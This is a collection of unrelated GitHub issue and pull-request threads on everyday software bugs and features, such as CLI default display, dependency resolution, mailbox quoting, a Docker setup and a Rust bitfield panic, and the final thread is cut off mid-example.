bug: default is not shown unless actual default value is truthy

# cli.py
from dataclasses import dataclass, field
from typing import Annotated
from typing_extensions import Doc

import cappa

@cappa.command(name="hello")
@dataclass(kw_only=True)
class Command:
    config: Annotated[
        dict,
        cappa.Arg(
            short="-c",
            long=True,
            show_default="hello",
        ),
        Doc("Configuration file"),
    ] = field(default_factory=dict)

    def __call__(self):
        print(self.config)

if __name__ == "__main__":
    cappa.invoke(Command)

$ python cli.py
Usage: hello [-c CONFIG] [-h] [--completion COMPLETION]

  Options
    [-c, --config CONFIG]      Configuration file

  Help
    [-h, --help]               Show this message and exit.
    [--completion COMPLETION]  Use --completion generate to print shell-specific completion source. Valid options: generate, complete.

If I change the annotation to dict | None and the default value to None, same result. I have to actually set a truthy default value like "hey" for the default to be shown.
Expected output
$ python cli.py
Usage: hello [-c CONFIG] [-h] [--completion COMPLETION]

  Options
    [-c, --config CONFIG]      Configuration file (Default: hello)

  Help
    [-h, --help]               Show this message and exit.
    [--completion COMPLETION]  Use --completion generate to print shell-specific completion source. Valid options: generate, complete.

It's because default.default is None when I set None as default, and Empty when I set a default factory, in if not self.show or default.default in (None, Empty): (DefaultFormatter.format_default()).
I can see why it's not immediate to fix: if a string is provided as show_default, but it contains the {default} placeholder, then yeah we might not want to show None. But if it's a string without the {default} placeholder, I think we can assume it should always be shown? So something like if "{default}" in self.format: ...?

I wonder if we shouldn't assume that if the user provided something to show_default, it's that the default value is not none or empty, and therefore we should always show the default. So, using a sentinel for DefaultFormatter.format instead of "{default}". WDYT?

Or maybe field factories could be seen as something else than Empty :shrug: That wouldn't solve the case for None though.
    log_path: An[
        str | None,
        cappa.Arg(short="-P", long=True, group=_GROUP_GLOBAL, propagate=True, show_default="standard error"),
        Doc("Write log messages to this file path."),
    ] = None

Lmk what you think of that ^. Not using any of your suggested alternatives 😬
tl;dr

coerce None/Empty default values to ""
format them
if the resultant formatted string is "", dont show the default because it would be (Default: )

Where item 3 is potentially fixes other cases in which an empty string formatted default would look broken.

I havent much thought about what if you want '' to be clear about empty string, but that wouldn't have displayed as such today either, and i'm not certain whether repr anything is a good idea or not.

Yes!! Clever! Seems perfect 🙂


Fix Thymeleaf syntax warning in admin UI

Current dependencies on/for this PR:

main

PR #1479   👈

PR #1480

PR #1481

PR #1482

This stack of pull requests is managed by Graphite.

Merge activity

Nov 16, 4:39 PM: @sgrimm started a stack merge that includes this pull request via Graphite.


chore: correct name in citations

We use a lot of Kitty's tooling and this PR is to correct the citations.

@zhawkins meant to say...


[#181628174]: Remove print button (rebased).

@lublagg I think after your rebase you'll want to base this PR on Aden's (@433eros) branch instead of master so that you don't bring in his changes and then wait to merge until that is merged (and then make sure you change the base branch back to master).  I'm not sure what the schedule is for merging in Aden's branch though, @scytacki - anything to add?


8822 provided parameters

This should be everything needed to resolve 8822. I thought the MEM dnt pull had already been put in master. The changes on my side are correct, and this is the conflict on the pull request. Did it get reverted somehow?

This PR has been replaced by #261


Newer versions of Laravel 9

Hi,
Checking requirements json-api has this: "laravel/framework": "^8.76|^9.0" but Im using a newer version of laravel 9 (exactly is using Laravel 9.1) and I'm unable to install this library, when is going to be released a new version?
Thanks and regards.

Hi, this is the output
./composer.json has been updated
Running composer update laravel-json-api/laravel --with-all-dependencies
Loading composer repositories with package information
Updating dependencies
Your requirements could not be resolved to an installable set of packages.

  Problem 1
    - Root composer.json requires laravel-json-api/laravel 3.x-dev -> satisfiable by laravel-json-api/laravel[3.x-dev].
    - laravel-json-api/laravel 3.x-dev requires laravel/framework ^8.76|^9.0 -> found laravel/framework[v8.76.0, ..., 8.x-dev, v9.0.0-beta.1, ..., 9.x-dev] but these were not loaded, likely because it conflicts with another require.

Installation failed, reverting ./composer.json and ./composer.lock to their original content.

Thanks and regards.

For some reason you seem to be requiring 3.x-dev of this package? You maybe have minimum-stability set to dev and prefer-stable to false in your composer.json?
Either way, try requiring the latest tag, i.e.:
composer require "laravel-json-api/laravel:^2.4" --no-update
composer up "laravel-json-api/*"


'send_confirmation_email' key in config/initializer/devise_token_auth.rb not working

I tried adding 'send_confirmation_email' todevise_token_auth initializer (config/initializers/devise_token_auth.rb) so I can have devise gem's confirmable module working. (e.g. send confirmation email when a new user signs up)

DeviseTokenAuth.setup do |config|
...
config.send_confirmation_email = true
....
end

When I start rails console/server, it's giving an error
/MyProject/config/initializers/devise_token_auth.rb:10:in `block in <top (required)>': undefined method `send_confirmation_email=' for DeviseTokenAuth:Module (NoMethodError)

Here are my setups.
devise_token_auth gem version : 1.1.3
devise gem version : 4.7.1
ruby version : 2.6.5
rails version : 5.2.3
It looks like this config key was added recently. (2019-10-26)
Did anyone have a similar issue?

Hey,
It looks like this option is not available in the 1.1.3, but it is on master.


Named mailbox containing space are not quoted

Describe the bug
Mailbox name containing space are not quoted.
To Reproduce
assert_eq!(
    "\"John SMITH\" <john.smith@localhost>",
    Mailbox::new(
        Some("John SMITH".into()),
        "john.smith@localhost".parse().unwrap()
    )
    .to_string()
)

// thread 'xxx' panicked at 'assertion failed: `(left == right)`
//   left: `"\"John SMITH\" <john.smith@localhost>"`,
//  right: `"John SMITH <john.smith@localhost>"`'

Expected behavior
The name part of the Mailbox should be quoted when it contains any space or special characters (from the RFC).
Environment (please complete the following information):

Lettre version: v0.10.1
OS: Linux 5.10.111 #1-NixOS SMP Wed Apr 13 19:01:11 UTC 2022

I will dig a bit and try to propose a PR!

The problem comes from: https://github.com/lettre/lettre/blob/5a61ba36b559aef602e0c5f6c3421a5dc30e51ac/src/message/mailbox/types.rs#L410
According to the RFC, an Atom can be a simple atom (everything except white space, controls and specials) or a dot-atom (an atom followed by 0 or more .atom). With the actual code, a space makes the is_valid_atom_char function return true which leads to this issue I opened, and a dot makes the function return false where it should return true when matching a dot-atom.
In my opinion, a lib like https://github.com/zesterer/chumsky would help a lot to parse such complex atoms (and to parse mailboxes in general, which would make the code more readable instead of manually parsing them). I will propose you a POC (only on this atoms section) so we can discuss about it and see.

In fact I was wrong, white spaces are valid around atoms, which makes the address John Smith <john.smith@localhost> totally valid. The problems comes from the parser I use (mailparse), somehow it cannot parse a mail with such an address.


Feature-Request: connect to existing SMTP server

Connect to an existing SMTP server, to check for mail, and make it an notification.

SMTP is the protocol used to send mail, not to check for mail. What is it you want to achieve?

make it an notification

I think you'd like to publish notifications via email, which can already be achieved with email publishing (as I believe you know). ntfy ships with a tiny SMTP server to handle incoming mail. If you'd like to use your own mailserver, you can still do that by simply forwarding email for certain addresses to ntfy's mail server.
Example:
person --[to<EMAIL_ADDRESS>mx1.example.com --[forwards to<EMAIL_ADDRESS>--> mx1.ntfy.example.com --> ntfy

In this example,

mx1.example.com is your existing mail server for which you'd need to set up a forwarding rule
mx1.ntfy.example.com is the built-in mail server in ntfy.

You'll still have to do the DNS/MX setup as described in docs though.

Closing for inactivity. Happy to reopen and discuss more.


Add files under bin to gitignore

cc @Fryguy @jrafanie

@bzwei
I think we need to do this differently for rails 4:
https://coderwall.com/p/vhfxia/generate-only-the-binstubs-that-your-project-needs
From bin/rails recommendation:
Looks like your app's ./bin/rails is a stub that was generated by Bundler.

In Rails 4, your app's bin/ directory contains executables that are versioned
like any other source code, rather than stubs that are generated on demand.

Here's how to upgrade:

  bundle config --delete bin    # Turn off Bundler's stub generator
  rake rails:update:bin         # Use the new Rails 4 executables
  git add bin                   # Add bin/ to source control

You may need to remove bin/ from your .gitignore as well.

When you install a gem whose executable you want to use in your app,
generate it and add it to source control:

  bundle binstubs some-gem-name
  git add bin/new-executable

I think we need to checkin only the binstubs we use, rake, rails (don't overwrite the rails4 generated binstub), rspec and maybe something else...
I don't know how we deal with checking out the anand or botninnik branch though since our app will regenerate the binstubs in the bin directory again (overwriting bin/rails possibly) after you bundle on any old release, I think?
@Fryguy @matthewd help?

Make sense to me. Then we can discard this PR if we don't have new binstubs at this time.

@jrafanie The problem is switching branches floods git status.  I am ok with this PR, but I think it should be less explicit as per my comment above


Feature request: Black overlay on the background image

You can add some black overlay on the background image to make the text more readable on white backgrounds

It's already there.


Possibility to rename backup file

Hi,
right now backup file is with .jar.bak extension. Could you add possibility to rename .jar extension to just new extension eg .bak or .xxx (could be parameter) that in future this backed files will not be scanned by some automatic tools? Right now lots of scans look for .jar files. Systems are alive so each day new things comes and even some files could be overwritten (even the fixed ones), so this functionality will prevent of fixing or scanning backed up files.

@smartcitygame Would you test v2.5.0 release? It can meet your requirement. :D

Hi, could you give me some tips how to test? I could find any new parameter that will change this bkp extension or maybe it is combined with other functionality?

@smartcitygame v2.5.0 doesn't retain .bak files in each directory. Instead, scanner archives all .bak files in zip file and delete it. No option changes. Default behavior is changed.

Hi functionality works, unfortunately for me problem will preserve as our scanners (also yours) can look into zip archives and it will find this jars with vulnerable classes. Really renaming of extension for me is the only option.

@smartcitygame OK I will add an option. :D

Thank you. It is great tool. Really amazing job you all did!!!

@smartcitygame Would you test v2.5.2 release? Use --backup-ext option. e.g. --backup-ext bak.
BTW, Why do you use another scanner? Is something missing in log4j2-scan?

Thank you!!!
We are using also https://github.com/mergebase/log4j-detector, but it only reports if file is affected and mostly focusses on log4j2. I prefer your scanner/fixer :) it is much better.


Assets(stars)

Problem:
We didn't have stars
Fix:
Add stars
Commit Details: (< vv pls delete this section if's not relevant)

 etc
Manual Tests:
I hereby swear that:

[x] I contain filled stars
[x] I could unfilled stars
[x] I don't contain any yellow stars, because we already have one

Thanks for filling in the manual tests section honestly


add settings.js to essential files

Fixes https://github.com/rust-lang/docs.rs/issues/213, though all the existing settings.js files need to be loaded in separately. Can be deployed without updating rustdoc at the same time, since this file has been there for a while >_>
In https://github.com/rust-lang/rust/pull/49954, rustdoc added a settings menu, which added the separate JavaScript file settings.js. This is a static file just like the other JS/CSS files bundled with rustdoc, but docs.rs never picked it up as an essential file.
A separate change will need to be made to rustdoc to use --static-root-path for this file, but this can at least let users begin using the settings page.

CI failure looks spurious.


Wrong capture title causes js errors

Problem desctiprion: The name of the capture in Line 6 is "sBestitAmazonScript", but in line 28 oxscript wants to output "sBestitAmazonLoginScript", which is empty, this causes oxscript to output collected scripts right away in the middle of the page, and that causes js-errors on the page.

Thank you for this PR. This will be fixed in upcoming version 3.2.2


How can I do something with a group of objects?

Hi,
How can I do something with a group of objects? For example, changing the labels of each object in a group at the same time, or copying and pasting a group of objects?
thanks.

Hi Dmitry,
The "group" option in CVAT UI supports only visual grouping of objects. You can get the information that some objects were grouped and use it in your goals after downloading the annotation you made. See the details here: https://cvat-icv.inn.intel.com/documentation/user_guide.html#shape-grouping

@aschernov  I am deploying custom trained model to CVAT, i tried to assign group id to rectangles predicted by models using key 'group_id' and 'group', but groups are not assigned. Can you kindly tell what should be correct key for grouping shapes?


[EventHub][DistributedTracing] propagate context downstream

Fixes #9666 by calling wrapping fn provided to trace(..,) in tracer.withSpan(span, fn)

/azp run js - eventhubs-client - tests

@richardpark-msft, Can you please review this?

Closing this PR as it has not seen much activity in the last year


When running with gradle on intellij, agent runs twice

When running with gradle on intellij each function appears twice

Premain now has a flag to detect double execution.
It prints a warning and returns early


tests under code coverage periodically segfaulting

https://travis-ci.org/PX4/Firmware/jobs/287486356
The particular test appears to be random, and so far it's sufficiently intermittant that I haven't caught it locally.

coverage c flags: --coverage -ftest-coverage -fprofile-arcs -O0 -fno-default-inline -fno-inline
coverage c++ flags: --coverage -ftest-coverage -fprofile-arcs -O0 -fno-default-inline -fno-inline -fno-elide-constructors

TODO:

setup CI environment to save cores (ulimit -c unlimited)
have CI print backtrace if core is found (gdb -batch -ex "backtrace" ./px4 corefile)
possibly upload core to s3
integrate with test runner so it works locally as well


Update to work with op 2.7.0

WIP
I've gone through and done a quick update to the new syntax and output formats. There's still a bunch to clean up.

@theaquamarine @Windos I can't get Pester working on my machine because it's marked as malicious, but I've started updating to work with op 2.x.

Started https://github.com/cdhunt/op-powershell/pull/1


Overlap between menu item icon and text

With qt-material 2.8.18, the menu item icon and text overlap

Hi @pstavirs
The QMenu are a bit annoying to standardize over all Qt and operating systems. Then, a manual configuration will be needed here.


Toggle Menu on Focus

Is there a generic way to toggle menu when input field is on focus?
onFocus={e => e.target.value == inputValue ? openMenu() : closeMenu()}

As noted in the docs, there's a toggleMenu function you can call :)

@kentcdodds I missed it. However, I am still unsure how to call it from within onFocus.

@kentcdodds thanks! This leads to my next question. How to open the entire menu if an item is selected.
Here is the behavior I am trying to achieve:

Typeahead show results
User selects one item
Next user clicks on the input
The entire menu is shown with selected item (instead of just one item)


update of Chinese files with Commit 25535a0

Hope there is not influenetial errors cumbering the compilation of Chinese ed for v7.1.6. If any though, let me know.


Add all.txt wordlists

Added JHaddix's all.txt and then cat * | sort | uniq to create an even bigger all.txt. That should cover all the DNS.

Thank you, @haccer!


feat(create-effect): add createEffect

closes #27

LGTM!
I also had this copied somewhere in my codebase 😂. Glad we will have it here now!


Adding English translation

Currently Tafakor Quran verses (ayats) are only displayed in Arabic, targeting only Arab speakers.
I believe that supporting English translation as well would contribute to the spread for more wider audience.
Brief action plan:

Find a reliable API for Quran in English
Frontend integration
Make sure the Arabic and English verses (ayats) are synced in order

Verses (ayat) are handed to react in the (quran-uthmani-min) form (if multiple verses, then they're joined into a one string using the  waqfa character - more on that later). Then the ayah gets segmented into small segments that each are displayed at it's respected time (timings of verse and segments are handed to react as well).
The segmentation of ayah is done using a string split operation that splits on these priorities:

there's a waqfa caharcter , ,  (we joined ayahs with a waqfa character earlier so that there is a split on ayahs)
there are N consecutive words with no waqfa (N is a constant determined by the screen size)

Let's take this ayah as an example:

after segmentation (suppose N = 5), it would look like this:

We can retrieve english translation for each ayah from alquran.cloud API. but, after retrieving translation of ayah, the translation should be mapped to the splitted segments, that when each segment is displayed on screen, it's translation is displayed as well.
The ayat mapping process is the most Indirect task in this issue.
If you have any recommendations for the mapping process, I'm all ears!

Found this word by word quran english translation dataset. It would eliminate all of the previous challenges!
https://github.com/hablullah/data-quran/blob/master/word-translation/en-qurancom.json
Will start working on it soon, if you'd like to help!

Just pushed a new update for this, will close this issue for now (unless a new related issue pops up)


Modifications to add events

Added event_times.csv which contains the reach event times for all subjects.
Added code to add the appropriate events to each nwb file from this event_times.csv.
Fixed some bugs in the filepath construction in the convert_dir function.

I tested the modifications I made in this branch on one nwb file and it looks like it processed ok.  Waiting to see the results of the conversion of two more h5 files.


showing 1px of next slide (overlap slides)

short description of the bug / issue, provide more detail below.

There's a overlapping issue in my slick slider. seems it show 1PX of next slide. Do anyone face the same issue?

The same in my case.

The same in my case.

still no solution?


Webhooks on test completion

Describe the solution you'd like
I want to start a Webhook when a test run succeeds or fails.
Describe alternatives you've considered
Right now the only way to check whether a test has passed or not is through the UI or consuming an API.
Additional context
In the end I want the test result to be posted to a Slack channel, and a Webhook is maybe a more flexible way to do just that.
It could work just like the Build trigger:

With a trigger for when the test succeeds and another for when the test fails, with a link to AppCenter's page to see more details about the test run.

I too would greatly appreciate this feature. We've had some luck with e-mail signals and IMAP-IDLE, but of course setting up an IMAP email account is a lot of overhead and introduces an unneeded fault point, and our system will break completely if test run IDs stop showing up in the URI that shows up in emails, which makes this solution unacceptably fragile.

Any updates on this?
Thanks

@luisresende247 Sorry, we haven't committed to a timeline yet.

I do appreciate this feature. It is something we really need

Any updates on this?
Thanks

We would also very much appreciate this feature!

This will be a very handy feature. Please let me know if this is in the roadmap.

I would also very much appreciate this feature ! Any updates ?


Mobile nav[Update-2021]

I'm sorry i kno i could do this by myself but I'm super lazy - could you change the 'x' color to $baby-blue please? It's in $paprika now.


Languages return one more entry then Linkedin UI shows

Describe the issue
When looking on Linkedin I have two languages in the Languages section (German and English). But when downloading the JSON profile I get 3 languages (English is duplicated. I assume it has something todo with manual provided languages vs my profile language as one English was auto added as Native Speaker)
Help me reproduce your issue
Add one language (the same as your profile one with different level) and add an additional language. After that export the JSON.
Additional context
This is not very important for me personally just thought I report it.

@fkrauthan I was aware of this when I implemented #59, in 35cba20f57994fc0c842d4e7104d28dce19cfb76 - I probably should have documented it.
Unfortunately, I don't really know a "clean" way around this, not without explicit knowledge of private LinkedIn internals. Your guess as to the root of the issue is correct; there are two ways users can indicate languages - one is as the profile level, and the other, like you said, are the manual fields.
In the case that the user has manually provided languages, de-duplicating them across the default profile level languages is rather difficult:

I wouldn't want to make the assumption I can just drop the profile level ones, as a user might not have remembered to manually add the same one to their languages section
LinkedIn uses different hard-coded values for the profile section vs the manual languages fields. For example, if a user has their default locale set to English, the profile field would have a value of en, but the manual field might be English.
While I have a feeling that the profile default locale field probably uses ISO 639-1 codes, the manual fields are less standardized. When I try to edit my profile, it lets me select things like Dutch, Middle (ca.1050-1350), which are not in ISO 639-1, but are in 639-2, but it also lets you save any string value to this field...

I think what I will do is:

For now: add a little bit of code that tries to, at the very least, de-duplicate English / en entries, since these are common and I already know the strings to look for
Future: Will leave this issue open, in case anyone has any extra insights they can share for a more full-featured approach.


move simulate out of GLM class

@pavanramkumar isn't it a bit counterintuitive that you would need to instantiate a GLM object to simulate it? I think we should move the simulate method outside the GLM class.

@jasmainak
simulate() calls self.lmb() which in turn calls self.qu(). also it has the attractive property that once the user instantiates an object, they can not only fit data with it but also simulate without having the specify the distr again.

@jasmainak do you agree? if so, we can close this issue

@pavanramkumar the methods can be factored out of the class. I think this would also solve the problems you are having in the PR #84 . If you really need the object, you can ask the user to pass it as an argument to the function but I still think it's a bit weird to require your model for simulation. Maybe we can take some inspiration from scikit-learn samples generators or mne-python simulation module to see what's the best way to do it.

@jasmainak i like the samples generators approach used by scikit-learn but still feel it's for a different purpose. Let me make my case!

The datasets methods are good to simulate an entire dataset, i.e. both X and y. By contrast, our simulate function takes X and beta as inputs and simulates y. This is often useful when we want to simulate a corner-case and test if our estimator can fit those specific rare scenarios. It's also useful to re-generate test samples from our fit model, so that we can use those samples in non-parametric statistical tests, etc.

Especially now, since __qu() and __lmb() are private methods, simulate() is super convenient the way it is written and produces target variables for each type of distribution with any additional helper functions that we would otherwise need to duplicate.

Creating a new set of simulation methods will add extra documentation and make the learning curve steeper.

Finally, remember we have the freedom to not conform to scikit-learn conventions if our conventions are better :-)

@pavanramkumar okay, let's keep it how it is for now :) I definitely agree we don't need to conform to scikit-learn conventions if we can come up with better conventions !

closing this issue for now


Alluxio CLI and start/stop scripts in golang

This issue tracks the effort started in https://github.com/Alluxio/alluxio/pull/17463
TODO list

[ ] Incorporate CLI commands defined in https://github.com/Alluxio/alluxio/blob/main/dora/integration/fuse/bin/alluxio-fuse (from @LuQQiu in https://github.com/Alluxio/alluxio/pull/17463#pullrequestreview-1437635768)
[ ] Handle expected user errors more gracefully, hiding the stacktrace by default (from @ssz1997 in https://github.com/Alluxio/alluxio/pull/17463#issuecomment-1561770422)
[x] Define guidelines for the CLI command layout as inspired by https://primer.style/design/native/cli/foundations (from @jenoudet in https://github.com/Alluxio/alluxio/pull/17463#discussion_r1210786922)
[ ] Add tarball generation logic into build workflow

[ ] Handle changing the assembly jar path when the jars are reorganized within a tarball
[ ] Omit line in bin/cli.sh that builds the CLI

[ ] Incorporate validation via struct field annotations as descsribed in https://github.com/Alluxio/alluxio/pull/17570#discussion_r1222257777
[ ] (nice to have) Mechanism to generate CLI documentation from golang code
[ ] (nice to have) Generate alluxio-env.sh.template and validate in PR check that it is up to date

Background
The CLI in the bash format has grown to be a giant monolith of bash code. One of the goals in the new main branch is to properly modularize various portions of the codebase and the set of bash scripts within the bin/ folder is one obvious counterexample to this goal.
Advantages:

Writing in a more structured language other than bash will prevent mistakes such as https://github.com/Alluxio/alluxio/pull/17459
Golang can be compiled into an executable binary such that there are no additional runtime requirements for Alluxio, as opposed to using an interpreted language such as python

Disadvantages

Introduces golang as a new compilation/development requirement, which was previously a soft requirement as it was needed to run certain scripts such as building the tarball
Compiled executables delivered as part of the tarball cannot be edited, unlike the bash scripts

Layout/Implementation

All cli go code are in the cli/ directory.

If the -PgoCli flag is added when running maven, it will build the required go binary to execute.
If running the bin/cli.sh command and the go binary isn't built yet, it will build on demand
Otherwise, the go cli will not be built. This prevents golang to be a must-have requirement for building the project; will translate it to be a default after deprecating the existing bash cli.

The user provided environment variables remains the same as before, via setting in conf/alluxio-env.sh.
The environment variables are managed by viper

InitAlluxioEnv() in cli/env/env.go initializes the default values and reading from the above user config file, storing them in a global env.Env variable; effectively replacing libexec/alluxio-config.sh
Unlike in bash where variable substitution is rampant, all variables values are always stored in their fully expanded form

The CLI command tree is managed by cobra

Logging with log levels is enabled by logrus
Adding --debugLog enables verbose logging to diagnose the logic flow and when appropriate, prints out the corresponding and fully expanded bash command

The Process interface outlines the definition of an Alluxio process

The process defines its own environment variables and sets them in env.Env for subsequent logic to access
The process is added to the command tree under the process subcommand, where currently the only actionable command is Start()
The only current process defined is the Master process in cli/process/master.go

The Command interface outlines the definition for running a java class

The command is added to the command tree under the root command, but could easily expand into its own subcommand tree following cobra's conventions
The BaseCommand struct is designated to be embedded in full implementations of the command interface

BaseCommand.RunJavaClassCmd() organizes the environment variables, java opts, and command line arguments, effectively replacing function runJavaClass in bin/alluxio

Processes and commands are registered in cli/main.go, the entrypoint go file that is compiled to a binary.

Combined with the process and command interfaces, this code architecture promotes extensibility, allowing another go project to use this code as a dependency, picking which processes and commands to register as they choose.

can we name the new client "alluxio" or something similar?
i used to add the alluxio bin/ directory to my PATH so i can run command like alluxio fs ls without entering certain directories or specifying a very long path. but if i do the same thing with the new cli, the cli.sh formatJournal would be a little bit confusing since there's no "alluxio" in it. also a clear name helps if i didn't put the artifacts in a path named "alluxio".

can we name the new client "alluxio" or something similar?

i may need to keep the existing bin/alluxio even after the new CLI is merged. any recommendation for another name to prevent collision?

i think "alluxio-cli" could work but the suffix seems redundant.
not sure if we need to honor the users' custom. i think we can add some simple multiplex logic in bin/alluxio and route all the subcommands to the new golang cli binary except some leftover subcommands, which we could re-routine to the legacy bin/alluxio script. in this case, the legacy script could be renamed as bin/alluxio-legacy or bin/alluxio-internal or something else.

the GitHub cli is gh, maybe we can use a diminutive in the same manner, like ax or alx.

alx seems good to me though it might take some explaining and time to get used to. i will also consider the backcompat of the existing alluxio script and fork it between the new vs old versions

consider this issue mostly complete, many improvements still to come


following your Docker setup by the letter ends in error

📚 Subject area/topic
Docker setup
📋 Page(s) affected (or suggested, for new content)
https://docs.astro.build/en/recipes/docker/
📋 Description of content that is out-of-date or incorrect
I don't know, it just throws an error.
Line 12 throws an error. CMD node ./dist/server/entry.mjs
But from the look of it, it doesn't even make it to the full node_modules install.
🖥 Reproduction in StackBlitz (if reporting incorrect content or code samples)
node:internal/modules/cjs/loader:1147
2024-02-24 15:29:40   throw err;
2024-02-24 15:29:40   ^
2024-02-24 15:29:40
2024-02-24 15:29:40 Error: Cannot find module '/app/dist/server/entry.mjs'
2024-02-24 15:29:40     at Module._resolveFilename (node:internal/modules/cjs/loader:1144:15)
2024-02-24 15:29:40     at Module._load (node:internal/modules/cjs/loader:985:27)
2024-02-24 15:29:40     at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:135:12)
2024-02-24 15:29:40     at node:internal/main/run_main_module:28:49 {
2024-02-24 15:29:40   code: 'MODULE_NOT_FOUND',
2024-02-24 15:29:40   requireStack: []
2024-02-24 15:29:40 }
2024-02-24 15:29:40
2024-02-24 15:29:40 Node.js v20.11.1
Here's from the Inspect file in DockerDesktop.
],
"State": {
"Status": "exited",
"Running": false,
"Paused": false,
"Restarting": false,
"OOMKilled": false,
"Dead": false,
"Pid": 0,
"ExitCode": 1,
"Error": "",
"StartedAt": "2024-02-24T21:29:40.61032129Z",
"FinishedAt": "2024-02-24T21:29:40.636170537Z"
},

Hi @mpstaton, thanks for the report!
I followed the guide, using the two given files (Dockerfile and .dockerignore) verbatim and everything worked fine.
By the error you see, I assume you are using the section about SSR on Docker. As it mentions in the docs:

This Dockerfile will build your site and serve it using Node.js on port 4321 and therefore requires the Node adapter installed in your Astro project.

You have to start from a project with the Node adapter, which in turn requires the output to be either "server" or "hybrid". If that config is missing or set to static, or if you are not using the Node adapter, you'll see the error you posted.
Can you check that?

Closing due to inactivity, and because the instructions do appear to work under the required circumstances. But if you are still having problems, please visit us and let us know in support on Discord


DefaultPromise LateListener StackOverflowException

Motivation:
DefaultPromise attempts to execute a task to notify listeners that were added after the promise completed under the assumption that a thread context switch will occur to ensure listeners which were added before the promise completed are notified first. If the executor does not introduce a thread context switch then this code will enter an infinite loop and generate a StackOverflowException.
Modifications:

Add a best effort detection in DefaultPromise.LateListeners to avoid infinite loop and notify the listeners immediately while sacrificing listener notification order

Result:
No More StackOverflowException while processing LateListeners in DefaultPromise
Fixes https://github.com/netty/netty/issues/5185

@normanmaurer @NiteshKant - PTAL

@Scottmitch LGTM

this needs a bit more work...

the fix ended up being more involved ... I will submit another PR


Format doesn't work in iOS, macosx

No unicode is supported in wchar_t functions like printf, vswprintf etc. on iOS, macosx.
http://stackoverflow.com/questions/11713745/why-does-the-printf-family-of-functions-care-about-locale
So DAVA::Format(char16 *...) is not usable.

Is it still a problem?

Issue isn't actual


Map empty if the user does not allow access to the location services on iOS 8

On iOS 8 the user is requested to allow access to the location services to get the current position of the device.
If the users grants the access everything is fine.
But if the user does NOT allow this, the map is empty (only the current location button etc. are displayed). I am able to add markers and so on, so I guess only the google map tiles do not load.
Is there any reason for this behaviour? Isn't it more useful, if the map works anyhow, you just can't show the users location?
Thanks in advance.

Okay, the reason was that I changed my bundle identifier and forgot to update it in the Developer Console. Strange, that the map did work when I allowed the access to the location services, though!


bugfix - redirect url on non multilingual website

There was an extra slash now on the redirect. Apologies. My test website was multilingual, and I did not check it on a website with only one language (without a collection handle).

@Mesign this should solve your issue once and for all.


Fixing enforce_metadata doc, not checking for dtypes

The current apply_and_enforce() implementation does not raise on mismatching dtypes so we need to update the doc accordingly

[ ] Closes #9466
[ ] Tests added / passed
[ ] Passes pre-commit run --all-files

Can one of the admins verify this patch?
Admins can comment ok to test to allow this one PR to run or add to allowlist to allow all future PRs from the same author to run.

Makes sense,
Now, the docstring specifically says 'dtypes' so there is no ambiguity.

@epizut Thank you for this contribution, this goes in! Congrats on your first PR to dask 🎉


fix: upgrade to version 3.1.217

from: https://github.com/jenkins-x/jx-cli

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To complete the pull request process, please assign daveconde
You can assign the PR to them by writing /assign @daveconde in a comment when ready.
The full list of commands accepted by this bot can be found here.

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@jenkins-x-bot-test: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

tls
43c39053fc339d2f20f1f164b224ef20e5c4b770
link
/test tls

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the jenkins-x/lighthouse repository. I understand the commands that are listed here.

/retest


p2p/server: dont treat eof as success

related: https://github.com/spacemeshos/go-spacemesh/issues/4181
binary.ReadUvarint was misused. if connection is terminated concurrently with the read - binary.ReadUvarint will treat it as success, varint.ReadUvarint does the right thing and will fail with UnexpectedEOF

bors merge


Sharing sound to TikTok

Is it possible to use this to share original sounds to TikTok? Or on the roadmap?

@milesscherrer Hi, actually you can, check the doc


2nd refactor to be able to run as package and cmd line tool

I've refactored this again to work as both a python package and a command line tool.
My previous changes broke the command line tool and the changes made to the imports to fix that broke the package again, but this should work both ways, as long as the package is pip installed before using as a command line tool.
Let me know if you disagree with any of the changes I made since some are quite opinionated (e.g. using dicts instead of lists when dealing with "pron_dicts" and such)
I also changed the functionality a little bit, moving the set_stress invocation from syllab_stress_processing.py to the transcriber, since the transcriber has access to the original sequence.
Finally, I modified the transcriber so that it loads up the pronunciation dictionary and appends to it. This can speed up the transcriber, especially when dealing with large datasets as previously each word was transcribed only using the g2p model and repeated words in the dataset were transcribed each time, instead of reusing transcriptions between utterances.

ok, I'll have a look at this when I continue to merge the g2p into the frontend pipeline. Working on the normalizer right now, but I expect to come to the g2p some times next week. Great to have these refactorings before starting the connection work - which will again probably need some refactoring to deal with the frontend metadata. It would be great to have the final tag set you use for training, so I can incorporate that into the pipeline

The tag set as it is currently in the recipe is stress-augmented SAMPA phonemes, as output by this package. Syllables are separated by a separate "." token (i.e. not attached to the preceding phoneme) and words are separated by a "," token. However, my recipe as of yet does not use phrasing tokens such as  or . I would like to incorporate them into the recipe but that would require integrating the phrasing module into my frontend. Since you are already working on that I don't want to do duplicate work.
Since I'm working on adding my recipe to the ESPNet toolkit I need this package to be quite stable. Specifying a version tag or (especially) publishing on pypi would make that simpler and easier for me. However I understand if you want to focus your efforts on the unified frontend pipeline.
Is the repo for the frontend accessible somewhere?

The tts-frontend repo is still private, I will make that public next week as well - let's have a talk as soon as possible! I will definitely not break the current input-output option of the g2p module, for now I'm creating a separate branch for each module where I implement the adaptations for the frontend pipeline. When the pipeline is stable we will discuss how to do the tagging/releasing so all modules are fit for the pipeline and stand-alone usage.


Fix DebugEngineHost stub reference for SSHDebugPS

Related issue: #489
SSHDebugPS needs to add false for DEbugEngineHost.stub and also DesignTime
Additionally remove extra ">" in csproj

Hi @seanshpark, I'm your friendly neighborhood Microsoft Pull Request Bot (You can call me MSBOT). Thanks for your contribution!

This seems like a small (but important) contribution, so no Contribution License Agreement is required at this point. Real humans will now evaluate your PR.

TTYL, MSBOT;

@seanshpark thanks for submitting this! Looks good to me.


panic with 32 bit signed int in 64b bitfield

Thanks for this cool macro!
This code is panicking with value out of bounds:
#[test]
fn negative_signed() {
    #[bitfield(u64)]
    struct MyBitfield {
        negative: i32,
        #[bits(32)]
        __: u32,
    }

    let _ = MyBitfield::new().with_negative(-1);
}

When I change it to
#[test]
fn negative_signed() {
    #[bitfield(u32)]
    struct MyBitfield {
        negative: i32,
    }

    let f = MyBitfield::new().with_negative(-1);
